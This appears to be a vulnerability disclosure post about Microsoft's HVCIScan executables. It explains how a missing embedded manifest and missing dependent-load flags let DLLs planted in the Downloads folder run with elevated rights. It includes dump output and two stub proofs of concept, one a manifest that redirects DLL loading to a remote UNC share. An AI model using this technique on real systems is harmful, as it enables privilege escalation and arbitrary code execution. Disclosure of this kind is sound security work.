Hi @ll,
about a month ago Microsoft published HVCIScan-{amd,arm}64.exe, a
"Tool to check devices for compatibility with memory integrity (HVCI)"
The "Install instructions" on the download page
<https://www.microsoft.com/en-us/download/105217> tell:
| Download the hvciscan.exe for your system architecture (AMD64 or ARM64).
| From an elevated command window or PowerShell, run hvciscan.exe
"ELEVATED" sounds good, especially when such a vulnerable tool is run
from the "Downloads" folder, where a file HVCIScan_amd64.exe.manifest,
HVCIScan_arm64.exe.manifest or VBSAPI.dll can be placed via "drive-by"
download or by the (unsuspecting) unelevated user who still abuses the
"protected administrator" account created during Windows setup.
Oops, one step back: how did I determine
a) that HVCIScan-*.exe is vulnerable
b) these filenames?
Open an UNELEVATED command window and run
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_amd64.exe
and/or
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_arm64.exe
then inspect the output.
| Dump of file HVCIScan_amd64.exe
|
| File Type: EXECUTABLE IMAGE
|
| Image has the following dependencies:
|
| KERNEL32.dll
| msvcrt.dll
| VbsApi.dll
~~~~~~~~~~
| Section contains the following load config:
|
...
| 0000 Dependend load flags
...
| Summary
|
| 1000 .data
| 1000 .pdata
| 2000 .rdata
| 1000 .reloc
| 1000 .text
OUCH: the guys at M$FT built these tools without embedded "application
manifest" (which would have been placed in a ".rsrc" section),
so Windows will apply an external "application manifest", and
without /DEPENDENTLOADFLAG:2048, so Windows will search dependent
DLLs not listed as "Known DLL" in the "application directory"
first.
Both omissions^WBEGINNER'S MISTAKES allow to load and execute ARBITRARY
DLLs from ARBITRARY paths that run with the (ELEVATED) credentials of
the application!
"Trustworthy Computing" anyone? Or "Security Development Lifecycle"?
<https://www.microsoft.com/en-us/securityengineering/sdl>
Proof of concept #1:
~~~~~~~~~~~~~~~~~~~~
a) Open an UNELEVATED command window in the directory where you saved
HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe
b) Create an empty file VbsApi.dll next to the executable:
COPY NUL: VbsApi.dll
c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
message that VbsApi.dll can't be loaded.
Building a VbsApi.dll with the exports required by HVCIScan-a??64.exe
to actually load and execute VbsApi.dll is left as an exercise to the
reader.
See <https://skanthak.homepage.t-online.de/minesweeper.html> if you
need help.
Proof of concept #2:
~~~~~~~~~~~~~~~~~~~~
a) Create the text file HVCISCAN_amd64.exe.manifest respectively
HVCISCAN_arm64.exe.manifest with the following content next to
HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe:
--- HVCISCAN_a??64.exe.manifest ---
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="KERNEL32.dll" />
<file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="msvcrt.dll" />
<file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="VbsApi.dll" />
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
--- EOF ---
Replace the UNC path \\SERVER\SHARE\arbitrary.dll with any local or
remote path where you can create the specified file.
NOTE: the section "trustInfo" is optional.
NOTE: KERNEL32.dll and MSVCRT.dll are "Known DLLs".
b) Create an empty file arbitrary.dll in the specified network share or
local directory:
COPY NUL: \\SERVER\SHARE\arbitrary.dll
c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
message that a required DLL or an entry point is not found.
Building \\SERVER\SHARE\arbitrary.dll with the exports required by
HVCIScan-a??64.exe to actually load and execute arbitrary.dll is left
as an exercise to the reader.
stay tuned, and far away from "tools" made in Redmond
Stefan Kanthak
